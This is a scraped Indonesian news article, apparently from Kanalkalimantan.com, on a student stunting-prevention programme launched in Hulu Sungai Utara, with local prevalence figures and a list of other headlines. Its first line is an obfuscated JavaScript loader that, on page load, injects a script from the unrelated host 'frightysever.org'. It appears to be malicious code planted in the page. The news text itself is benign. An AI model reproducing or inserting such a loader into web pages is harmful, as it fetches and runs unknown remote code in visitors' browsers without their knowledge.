(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana memberikan apresiasi kepada civitas akademika Sekolah Tinggi Ilmu Pertanian (Stiper) Amuntai dalam inisiasi program Mahasiswa Peduli Stunting (Mahasiswa Penting) dalam menurunkan angka prevalensi stunting.
Hal itu disampaikannya pada pelepasan mahasiswa-mahasiswi program Mahasiswa Peduli Stunting Stiper Amuntai bekerjasama dengan perwakilan BKKBN Provinsi Kalimantan Selatan, di Gedung Agung Setda HSU, Selasa (19/9/2023).
Adi Lesmana menilai sebagai perwujudan dari tridharma perguruan tinggi yaitu pengabdian kepada masyarakat, pelepasan mahasiswa peduli stunting ini merupakan momentum yang penting untuk memperkuat komitmen, berkontribusi dan mengambil peran dalam mengatasi masalah serius yang dihadapi oleh anak-anak bangsa yakni permasalahan stunting.
Baca juga:Â Geledah Kamar Hunian hingga Tes Urine di Lapas Karang Intan
“Stunting adalah masalah kesehatan yang mempengaruhi pertumbuhan fisik dan perkembangan anak, yang bisa berimbas pada pencapaian masa depan mereka, dan kita semua di sini akan berjuang untuk memberikan solusi yang efektif dengan melakukan aksi nyata, berupa pendampingan bagi masyarakat untuk mencegah terjadinya stunting, sekaligus menurunkan angka prevalensi stunting di HSU,” jelasnya.
Berdasarkan data prevalensi stunting E-PPGBM Februari 2023 di HSU, saat ini menunjukkan jumlah balita di HSU sebanyak 14.682, jumlah balita di ukur tb/pb sebanyak 14.671, dan jumlah balita stunting sebanyak 2.748, yang dimana prevalensi stunting berada di angka 18,73 persen.
Oleh karenanya, dirinya berharap para mahasiswa dapat bekerja keras, belajar dan menggali pengetahuan yang mendalam tentang stunting selama masa studi berlangsung.
Baca juga:Â BNPB: Ada Peningkatan Titik Api di Tiga Provinsi Prioritas
“Sekarang saatnya bagi saudara sekalian untuk berperan aktif dalam upaya pencegahan stunting, saatnya saudara sekalian diharapkan mampu menjadi agen perubahan yang siap untuk membagikan pengetahuan dan menginspirasi tindakan di masyarakat,” ungkapnya.
Sekda HSU mengajak semua berkomitmen untuk terus bekerja keras, memberikan edukasi, dan berpartisipasi dalam upaya mencegah stunting, guna menciptakan perubahan yang berkelanjutan serta membawa harapan bagi anak-anak indonesia.
“Marilah kita meningkatkan komitmen bersama dalam upaya percepatan penurunan stunting terintegrasi di HSU, sekaligus mendukung target nasional menjadi 14 persen pada tahun 2024,” tutupnya.
Baca juga:Â Dimulai dari Masjid Jami Lasem, Wisata Masjid Bersejarah Nusantara Dikembangkan
Dalam kegiatan tersebut, turut dihadiri Perwakilan BKKBN Provinsi Kalimantan Selatan, Ketua Stiper Amuntai, perwakilan Pemerintah Kabupaten Tabalong dan Kabupaten Balangan. (Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.